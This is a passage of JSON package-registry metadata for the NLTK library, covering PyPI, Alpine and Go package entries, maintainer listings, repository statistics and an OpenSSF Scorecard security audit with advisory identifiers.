s/api/v1/registries/pypi.org/packages/nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/nltk/codemeta","maintainers":[{"uuid":"alvations","login":"alvations","name":null,"email":null,"url":null,"packages_count":58,"html_url":"https://pypi.org/user/alvations/","role":null,"created_at":"2022-12-12T18:43:13.760Z","updated_at":"2022-12-12T18:43:13.760Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/alvations/packages"},{"uuid":"stevenbird","login":"stevenbird","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/stevenbird/","role":null,"created_at":"2022-12-12T18:43:13.753Z","updated_at":"2022-12-12T18:43:13.753Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/stevenbird/packages"},{"uuid":"iliakur","login":"iliakur","name":null,"email":null,"url":null,"packages_count":2,"html_url":"https://pypi.org/user/iliakur/","role":null,"created_at":"2022-12-12T18:43:13.773Z","updated_at":"2022-12-12T18:43:13.773Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/iliakur/packages"},{"uuid":"tomaarsen","login":"tomaarsen","name":null,"email":null,"url":null,"packages_count":12,"html_url":"https://pypi.org/user/tomaarsen/","role":null,"created_at":"2022-12-12T18:43:13.781Z","updated_at":"2022-12-12T18:43:13.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tomaarsen/packages"},{"uuid":"purificant","login":"purificant","name":null,"email":null,"url":null,"packages_count":5,"html_url":"https://pypi.org/user/purificant/","role":"Maintainer","created_at":"2024-10-31T19:53:46.357Z","updated_at":"2024-10-31T19:53:46.357Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/purificant/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":883834,"maintainers_count":378429,"namespaces_count":0,"keywords_count":289179,"github":"pypi","metadata":{"funded_packages_count":54301},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-06-10T05:13:28.296Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":11139454,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_number":"3.9.1-r0","last_synced_at":"2026-03-27T14:07:32.254Z","created_at":"2024-12-07T12:54:58.439Z","updated_at":"2026-03-27T14:07:32.254Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.21/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.572Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":389,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2024-12-09T11:40:54.804Z","updated_at":"2024-12-09T11:40:54.804Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":3612,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1270},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-06-10T05:18:33.774Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":12172704,"name":"github.com/nltk/nltk","ecosystem":"go","description":null,"homepage":null,"licenses":"apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2025-10-01T06:19:02.000Z","latest_release_published_at":"2025-10-01T06:19:02.000Z","latest_release_number":"v3.9.2+incompatible","last_synced_at":"2026-05-19T07:01:49.528Z","created_at":"2025-10-06T05:04:26.536Z","updated_at":"2026-05-19T07:01:49.528Z","registry_url":"https://pkg.go.dev/github.com/nltk/nltk","install_command":"go get github.com/nltk/nltk","documentation_url":"https://pkg.go.dev/github.com/nltk/nltk#section-documentation","metadata":{},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build 